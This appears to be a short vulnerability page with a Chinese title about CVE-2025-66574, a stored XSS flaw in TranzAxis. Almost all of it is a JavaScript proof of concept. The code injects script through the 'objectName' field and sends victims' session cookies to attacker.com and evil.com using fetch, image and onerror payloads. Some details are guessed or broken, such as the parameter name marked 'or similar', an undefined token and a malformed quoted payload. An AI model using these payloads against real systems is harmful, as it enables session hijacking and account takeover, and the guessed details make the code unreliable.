CVE-2025-66574 | TranzAxis存储型XSS漏洞允许窃取会话Cookie

// CVE-2025-66574 PoC - Stored XSS in TranzAxis Open Object in Tree endpoint // This PoC demonstrates how to exploit the stored XSS vulnerability // Step 1: Authentication (Low-privilege user) const loginData = { username: 'low_priv_user', password: 'password123', endpoint: 'https://target-tranzaxis.com/api/auth/login' }; // Step 2: Inject XSS payload via Open Object in Tree endpoint // The vulnerable parameter is typically 'objectName' or similar const xssPayload = `<script> // Steal session cookies fetch('https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie)); // Or perform session hijacking new Image().src='https://attacker.com/steal?data='+btoa(document.cookie); </script>`; const exploitData = { endpoint: 'https://target-tranzaxis.com/api/tree/open-object', method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + authToken }, body: { 'objectType': 'account', 'objectName': xssPayload, // XSS payload injection point 'action': 'view' } }; // Step 3: When victim (e.g., admin) views the tree object, XSS executes // Step 4: Cookies are sent to attacker's server console.log('XSS payload injected successfully'); console.log('Waiting for victim interaction...'); // Alternative payload for cookie theft: const altPayload = `" onload="fetch('https://evil.com/c?c='+document.cookie)" `"; const cookieStealerPayload = `<img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie">`;